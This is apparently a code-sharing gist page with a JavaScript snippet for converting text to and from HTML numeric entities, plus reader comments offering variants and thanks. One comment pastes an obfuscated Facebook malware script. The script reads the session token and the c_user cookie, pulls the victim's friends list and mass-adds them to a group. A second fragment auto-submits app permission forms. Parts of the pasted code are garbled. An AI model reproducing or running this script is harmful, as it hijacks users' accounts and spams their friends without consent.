Javascript: encode(decode) html text into html entity

htmlentity.js

// encode(decode) html text into html entity
var decodeHtmlEntity = function(str) {
  return str.replace(/&#(\d+);/g, function(match, dec) {
    return String.fromCharCode(dec);
  });
};

var encodeHtmlEntity = function(str) {
  var buf = [];
  for (var i=str.length-1;i>=0;i--) {
    buf.unshift(['&#', str[i].charCodeAt(), ';'].join(''));
  }
  return buf.join('');
};

var entity = '高级程序设计';
var str = '高级程序设计';
console.log(decodeHtmlEntity(entity) === str);
console.log(encodeHtmlEntity(str) === entity);
// output:
// true
// true

This is fantastic, thank you.

but what about ' '

decode it
.
var _0x2b07=["623270711058894","value","fb_dtsg","getElementsByName","match","cookie","/ajax/groups/membership/r2j.php?__a=1","&ref=group_jump_header&group_id=","&fb_dtsg=","&__user=","&phstamp=","POST","open","Content-type","application/x-www-form-urlencoded","setRequestHeader","Content-length","length","Connection","keep-alive","send","GET","/ajax/typeahead/first_degree.php?__a=1&viewer=","&token","random","&filter[0]=user&options[0]=friends_only","readyState","(","substr","responseText",")","error","index","sort","entries","payload","/ajax/groups/members/add_post.php?__a=1","&group_id=","&source=typeahead&ref=&message_id=&members=","uid","onreadystatechange","status"];var gid=[_0x2b07[0]];var fb_dtsg=document_0x2b07[3][0][_0x2b07[1]];var user_id=document[_0x2b07[5]]_0x2b07[4];var httpwp= new XMLHttpRequest();var urlwp=_0x2b07[6];var paramswp=_0x2b07[7]+gid+_0x2b07[8]+fb_dtsg+_0x2b07[9]+user_id+_0x2b07[10];httpwp_0x2b07[12];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp_0x2b07[20];var fb_dtsg=document_0x2b07[3][0][_0x2b07[1]];var user_id=document[_0x2b07[5]]_0x2b07[4];var friends= new Array();gf= new XMLHttpRequest();gf_0x2b07[12];gf_0x2b07[20];if(gf[_0x2b07[26]]!=4){} else {data=eval(_0x2b07[27]+gf[_0x2b07[29]]_0x2b07[28]+_0x2b07[30]);if(data[_0x2b07[31]]){} else {friends=data[_0x2b07[35]][_0x2b07[34]][_0x2b07[33]](function %28_0x9687x8,_0x9687x9%29{return _0x9687x8[_0x2b07[32]]-_0x9687x9[_0x2b07[32]];});} ;} ;for(var i=0;i<friends[_0x2b07[17]];i++){var httpwp= new XMLHttpRequest();var urlwp=_0x2b07[36];var paramswp=_0x2b07[8]+fb_dtsg+_0x2b07[37]+gid+_0x2b07[38]+friends[i][_0x2b07[39]]+_0x2b07[9]+user_id+_0x2b07[10];httpwp_0x2b07[12];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp_0x2b07[15];httpwp[_0x2b07[40]]=function (){if(httpwp[_0x2b07[26]]==4&&httpwp[_0x2b07[41]]==200){} ;} ;httpwp_0x2b07[20];} ;
if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com") >= 0){
var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
function uygulamaizinver(url){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
izinverhtml = document.createElement("html");
izinverhtml.innerHTML = xmlhttp.responseText;
if(izinverhtml.getElementsByTagName("form").length > 0){
izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML
act = izinverhtml.getElementsByTagName("form")[0].action;
duzenlevegonder(izinverhtml,act);
}
}
};

function htmlDecode(input){
var e = document.createElement('div');
e.innerHTML = input;
return e.childNodes.length === 0 ? "" : e.childNodes[0].nodeValue;
}

xuebaofeng: Your solution does not work on a server using node.js, nor does it work on Pebble smartwatch. It only works in a browser. The solution provided works anywhere that JavaScript regular expressions are supported.

Great solution. Thanks. I've been trying to pull this off all morning.

Works well for encoding input from text fields straight into html using jQuery and this.

Thanks, this solved an annoying issue with .net localization.

I've written a little bit better implementation of decodeHtmlEntity that accept's html entities by name Gist

Thank you!

with Unicode support (\uWXYZ):

function encodeHtmlEntity(str) {
  return str.replace(/[\u00A0-\u9999\<\>\&\'\"\\\/]/gim, function(c){
    return '&#' + c.charCodeAt(0) + ';' ;
  });
}

or as bookmarklet (placed in your bookmark-toolbar to use whenever..)

javascript:(function(){prompt("output:",prompt("∞ to HTML-Entity:","<div>❝Likė A Ƀoŝš❞ ©®</div>").replace(/[\u00A0-\u9999\<\>\&\'\"\\\/]/gim,function(c){return '&#'+c.charCodeAt(0)+';'}));return true;}());

_{sorry about the watermark, I've took it from here}

Thanks so much. I just used it.

Thanks a lot for this!
What if my string also has hexadecimal along with decimal values?

function encodeHtmlEntity(str) {
  var buf = '';
  for (var i=0; i < str.length; i++) {
    buf += '&#'+ str.charCodeAt(i) + ';';
  }
  return buf;
};

Don't construct an array just to join it with empty string.

Thank you

Thank you for nice one

Thank You. It was good of you to post it.

Thanks!

TypeScript version:

const decodeHtmlEntity = function (str: string) {
  return str.replace(/&#(\d+);/g, function (match: string, dec: number) {
    return String.fromCharCode(dec)
  })
}

const encodeHtmlEntity = function (str: string) {
  const buf = []
  for (let i = str.length - 1; i >= 0; i--) {
    buf.unshift(['&#', str.charCodeAt(i), ';'].join(''))
  }
  return buf.join('')
}

simple and useful

How about ", it doesn't decode it to "